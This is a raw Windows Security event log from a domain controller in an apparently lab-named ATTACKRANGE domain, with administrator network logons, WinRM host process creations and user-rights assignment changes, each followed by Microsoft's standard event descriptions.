Account Domain: WIN-DC-725 - Logon ID: 0x18A882 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247927 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x18A882 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247926 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247925 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247924 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x18A564 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x614 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x30c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247923 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x18A564 - -Process Information: - New Process ID: 0x30c - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3b4 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247922 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x18A564 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247921 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x18A564 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247920 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247919 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247918 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x18A503 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247917 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x144270 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247916 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x144586 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247915 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x18A503 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247914 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x18A503 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247913 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247912 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247911 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x18A4D1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:43:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247944 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x18C5DA - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:43:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247943 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x18C5DA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:43:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247942 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:43:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247941 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:43:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247945 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf8c - New Process Name: C:\Windows\System32\wbem\WMIADAP.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x418 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: wmiadap.exe /F /T /R - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:43:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247950 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1A269E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:43:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247949 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1A269E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:43:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247948 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:43:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247947 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:43:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247946 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x18C5DA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:43:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4717 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Authentication Policy Change -OpCode=Info -RecordNumber=247966 -Keywords=Audit Success -Message=System security access was granted to an account. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Account Modified: - Account Name: NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS - -Access Granted: - Access Right: SeNetworkLogonRight -03/11/2021 11:43:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4717 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Authentication Policy Change -OpCode=Info -RecordNumber=247965 -Keywords=Audit Success -Message=System security access was granted to an account. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Account Modified: - Account Name: NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS - -Access Granted: - Access Right: SeInteractiveLogonRight -03/11/2021 11:43:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4717 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Authentication Policy Change -OpCode=Info -RecordNumber=247964 -Keywords=Audit Success -Message=System security access was granted to an account. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Account Modified: - Account Name: BUILTIN\Print Operators - -Access Granted: - Access Right: SeInteractiveLogonRight -03/11/2021 11:43:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4717 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Authentication Policy Change -OpCode=Info -RecordNumber=247963 -Keywords=Audit Success -Message=System security access was granted to an account. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Account Modified: - Account Name: BUILTIN\Account Operators - -Access Granted: - Access Right: SeInteractiveLogonRight -03/11/2021 11:43:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4718 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Authentication Policy Change -OpCode=Info -RecordNumber=247962 -Keywords=Audit Success -Message=System security access was removed from an account. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Account Modified: - Account Name: BUILTIN\Users - -Access Removed: - Access Right: SeNetworkLogonRight -03/11/2021 11:43:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4717 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Authentication Policy Change -OpCode=Info -RecordNumber=247961 -Keywords=Audit Success -Message=System security access was granted to an account. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Account Modified: - Account Name: BUILTIN\Pre-Windows 2000 Compatible Access - -Access Granted: - Access Right: SeNetworkLogonRight -03/11/2021 11:43:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4717 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Authentication Policy Change -OpCode=Info -RecordNumber=247960 -Keywords=Audit Success -Message=System security access was granted to an account. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Account Modified: - Account Name: NT AUTHORITY\Authenticated Users - -Access Granted: - Access Right: SeNetworkLogonRight -03/11/2021 11:43:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4717 -EventType=0 -Type=Information -ComputerName=win-dc-725 